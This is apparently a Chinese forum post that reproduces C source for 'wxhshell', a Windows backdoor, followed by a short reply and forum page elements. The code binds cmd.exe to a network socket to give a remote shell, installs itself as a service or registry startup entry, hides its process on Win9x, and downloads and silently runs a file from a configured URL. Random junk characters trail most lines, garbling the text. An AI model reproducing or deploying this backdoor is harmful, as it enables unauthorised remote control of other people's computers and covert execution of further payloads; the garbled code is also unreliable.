  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~((w?Yy"v  
  else J":,Vd!*-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,kn"> k9  
  } [bk?!0]aV  
  else { 9,r rQQD_  
{7/0< N G  
    switch(cmd[0]) { Zc`BiLzrIG  
  GHeVp/u  
  // 帮助 se>MQM5 )  
  case '?': { #*(t d<Cp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5EebPXBzB  
    break; $+I;oHWI  
  } ^~A>8CQOU  
  // 安装 bG(3^"dS  
  case 'i': { AlIpsJ[UU  
    if(Install()) ut I"\1hQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{" +g)u  
    else 81i655!Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L# 2+z@g  
    break; 7fba-7-P  
    } w2'f/  
  // 卸载  pn5Q5xc  
  case 'r': { K]0JC/R6(@  
    if(Uninstall()) 5)MS~ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gjAIEI  
    else ixT:)|'i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )}?#  
    break; A?pbWt ~}  
    } g #6E|n  
  // 显示 wxhshell 所在路径 fk x \=  
  case 'p': { a,WICv0E  
    char svExeFile[MAX_PATH]; L');!/:  
    strcpy(svExeFile,"\n\r"); :d#VE-e  
      strcat(svExeFile,ExeFile); BjzPz  
        send(wsh,svExeFile,strlen(svExeFile),0); b8LLr;oQw  
    break; O6G0  
    } :H wA 5Z#  
  // 重启 T]=r Co  
  case 'b': { +lMX{es\O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oz%>/zw[h  
    if(Boot(REBOOT)) X'qU*Eo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jm Fz51  
    else { l|k`YC x  
    closesocket(wsh); z\%Ls   
    ExitThread(0); _c_[ C*T]  
    } x}8yXE"  
    break; L|}lccpI  
    } \hEN4V[  
  // 关机 o_^?n[4  
  case 'd': { ~"kb7Fxp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ot6aRk  
    if(Boot(SHUTDOWN)) pv Gf\pu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +y3%3EKs1~  
    else { aN8|J?JH  
    closesocket(wsh); DuHu\>f<S  
    ExitThread(0); %YC_Se7  
    } 1BpiV-]=  
    break; hj.a&%  
    } b KN@j'M  
  // 获取shell <yH4HY  
  case 's': { [.uG5%fa  
    CmdShell(wsh); K8UP,f2  
    closesocket(wsh); %*0^0wz  
    ExitThread(0); 8Y7Q+p|O  
    break; >^*+iEe  
  } M 4?ig}kh  
  // 退出 W)f/0QX}W  
  case 'x': { @3C>BLI8+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =t H:,SH  
    CloseIt(wsh); 5?F__Hx*2  
    break; Bx4w)9+3  
    } U_n9]Z  
  // 离开 .jk@IL  
  case 'q': { 9#MBaO8_"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zZ` _D|<m  
    closesocket(wsh); P<a)25be/  
    WSACleanup(); 'g m0)r  
    exit(1); A"G 1^8wvX  
    break; ^Uf]Q$uCjE  
        } G'ei/Me6{  
  } B=^)Ub5'  
  } hUp.tK:X7o  
!FElW`F  
  // 提示信息 [k;\SXDZo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uJC~LC N  
} *&^:T~|=!  
  } w.YiO5|y  
#x 177I\  
  return; A Sk|A!  
} nwF2aRNV  
@c;|G$E@3  
// shell模块句柄 J:V6  
int CmdShell(SOCKET sock) :?g:~+hfO  
{ $',K7%y  
STARTUPINFO si; z4jR[x,  
ZeroMemory(&si,sizeof(si)); lrIS{MJ+-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &)AVzN+*h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j)/nKh4O  
PROCESS_INFORMATION ProcessInfo; /7|V+6jV  
char cmdline[]="cmd"; ; Q3n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'kL#]  
  return 0; Pa V@aM~3  
} C(#u[8  
NnDxq%l%  
// 自身启动模式 10q'Z}34  
int StartFromService(void) $ us]35Z3  
{ Af'" 6BS  
typedef struct ]v]qChZHd  
{ jU9$Ehg I  
  DWORD ExitStatus; 34%RZG_o'  
  DWORD PebBaseAddress; odjT:Vr  
  DWORD AffinityMask; ,}EC F>  
  DWORD BasePriority; &3J_^210  
  ULONG UniqueProcessId; uao0_swW5  
  ULONG InheritedFromUniqueProcessId; S~;4*7+?:  
}   PROCESS_BASIC_INFORMATION; 1^7hf;|#g  
:7!0OVQla\  
PROCNTQSIP NtQueryInformationProcess; `lO[x.[  
_/6!yyl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Py@wJEo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OZ |IA:,}  
qUob?| ^   
  HANDLE             hProcess; \KQ71yqY  
  PROCESS_BASIC_INFORMATION pbi; +zaA,e?\  
5qZ1FE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b\$}>O  
  if(NULL == hInst ) return 0; Rv$[)`&T  
&U5{Hm9Ynr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _m gHJ0v'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O4cr*MCb5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d4>Z8FF|1B  
aTqd@},?  
  if (!NtQueryInformationProcess) return 0; V )x$|!(  
D6>2s\:>vp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CF&6J$ZBgJ  
  if(!hProcess) return 0; z$/_I0[  
vd 0ljA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YaKeq5%y  
 D#il*  
  CloseHandle(hProcess); s;S?;(QI  
B8V>NvE~o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :(!` /#6H  
if(hProcess==NULL) return 0; m'6&9Ja k  
#\.,?A}9  
HMODULE hMod; ]B%v+uaW  
char procName[255]; Po__-xN>Q  
unsigned long cbNeeded; kb{]>3Y"  
%l}D.ml  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f]`#J%P  
TMlP*d#  
  CloseHandle(hProcess); ^S UPi  
b&~4t/Vq  
if(strstr(procName,"services")) return 1; // 以服务启动 ]b7zJUz  
6K-_pg]  
  return 0; // 注册表启动 '=nQ$/!q  
} % NA9{<I  
\?0&0;5  
// 主模块 Tx|Ir+f6L  
int StartWxhshell(LPSTR lpCmdLine) E .7  
{ e;Ti&o}  
  SOCKET wsl; !`g~F\l  
BOOL val=TRUE; hyCh9YOu)  
  int port=0; ]h* c,.  
  struct sockaddr_in door; ] >LhkA@V  
Z&1T  
  if(wscfg.ws_autoins) Install(); ysxb?6  
ko.(pb@+  
port=atoi(lpCmdLine); R?~Yp?B^  
)0"wB  
if(port<=0) port=wscfg.ws_port; ~]pE'\D7Ad  
)uj Ex7&c  
  WSADATA data; OGde00  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \r /ya<5  
b J=Jg~&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TUV&vz{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,SynnE68  
  door.sin_family = AF_INET; iYORu 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tl$ [4heE  
  door.sin_port = htons(port); 2XFU1 AW  
<j*;.yyC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iOR_[y,  
closesocket(wsl); F(k.,0Nc  
return 1; !MYSfPdS  
} hAYTj0GZ  
 x }\64  
  if(listen(wsl,2) == INVALID_SOCKET) { xy5lE+E_U  
closesocket(wsl); ,&j hlZ i  
return 1; !46RGU:I  
} k9  "[H'  
  Wxhshell(wsl); uD1e!oU  
  WSACleanup(); D7lK30  
4]G?G]lS>  
return 0; @wpN6 /   
'(f&P=[b  
} <3xyjX'NE  
x_| UPF  
// 以NT服务方式启动 4}_j`d/8|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uw [<5  
{ A+::O@_s  
DWORD   status = 0; %_+2@\  
  DWORD   specificError = 0xfffffff; M9V q -U18  
rR9|6l 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; so"$m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IE;~?W"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A?CcHw rT  
  serviceStatus.dwWin32ExitCode     = 0; <j&DK2u=i  
  serviceStatus.dwServiceSpecificExitCode = 0; p2n0Z\2  
  serviceStatus.dwCheckPoint       = 0; @hJ%@(  
  serviceStatus.dwWaitHint       = 0; wfU7G[  
eqP&8^HP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "^w]_^GD$d  
  if (hServiceStatusHandle==0) return; 0Sle  
q*\x0"mS/  
status = GetLastError(); p<TpK )  
  if (status!=NO_ERROR) 1<BX]-/tP  
{ &<wuJ%'>)Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QW $G  
    serviceStatus.dwCheckPoint       = 0; oFy=-p+C  
    serviceStatus.dwWaitHint       = 0; `tHvD=`m.  
    serviceStatus.dwWin32ExitCode     = status; LQtj~c>X-|  
    serviceStatus.dwServiceSpecificExitCode = specificError; b7 NM#Hb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jT8#C=a7  
    return; wF <n=  
  } biSz?DJ>  
MaRi+3F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zo+nq%=  
  serviceStatus.dwCheckPoint       = 0; ~%^ tB  
  serviceStatus.dwWaitHint       = 0; bu:S:`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ln?v j)j  
} ;'5>q&[qbP  
(d(hR0HKE  
// 处理NT服务事件,比如:启动、停止 xl6,s>ob  
VOID WINAPI NTServiceHandler(DWORD fdwControl) giZP.C"0  
{ +V m}E0Ov  
switch(fdwControl) 2q3+0Et8  
{ )Y2{_ bx4"  
case SERVICE_CONTROL_STOP: Gnfd;. (.  
  serviceStatus.dwWin32ExitCode = 0; 4US"hexE<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^cczJOxB  
  serviceStatus.dwCheckPoint   = 0; ^aH \7J@Y  
  serviceStatus.dwWaitHint     = 0; 5jd,{<  
  { 4a'N>eDR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r<K(jG[:{f  
  } GliwY_  
  return; k.uMp<)D  
case SERVICE_CONTROL_PAUSE: RRRCS]y7$t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4*Q#0`um  
  break; ^.1c{0Y^0  
case SERVICE_CONTROL_CONTINUE: 7on.4/;M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?Cl%{2omO  
  break; |K.mP4CKY  
case SERVICE_CONTROL_INTERROGATE: Qa.<K{m#?  
  break; EQf[,  
}; 2 $?C7(kW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -i)ZQCE  
} ny`#%Vs  
0BIy>wy:  
// 标准应用程序主函数 ;.TRWn#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q$HG  
{ &;D8]7d  
I_<I&{N>  
// 获取操作系统版本 gW-V=LV (  
OsIsNt=GetOsVer(); { jhr<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7g%E`3)"  
Z?%zgqTXb  
  // 从命令行安装 XmEq2v  
  if(strpbrk(lpCmdLine,"iI")) Install(); i%/Jp[e\W>  
Zn ''_fjh  
  // 下载执行文件 5[A@ gw0u  
if(wscfg.ws_downexe) { ~ vJ,`?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \De{9v  
  WinExec(wscfg.ws_filenam,SW_HIDE); c- }X_)U }  
} c17_2 @N  
_tBTE%sO  
if(!OsIsNt) { S<4c r  
// 如果时win9x,隐藏进程并且设置为注册表启动  /% M/  
HideProc(); @^T1XX  
StartWxhshell(lpCmdLine); _~piZmkG$  
} nHm}zOLc  
else MFb9H{LA  
  if(StartFromService()) ;~"FLQg@  
  // 以服务方式启动 5<UVD:~z  
  StartServiceCtrlDispatcher(DispatchTable); p4'G$]#  
else %@.v2 cT  
  // 普通方式启动 kg'o&^/=  
  StartWxhshell(lpCmdLine); {vuZ{I Ja  
;j^H)."A\  
return 0; cUvz2TK  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五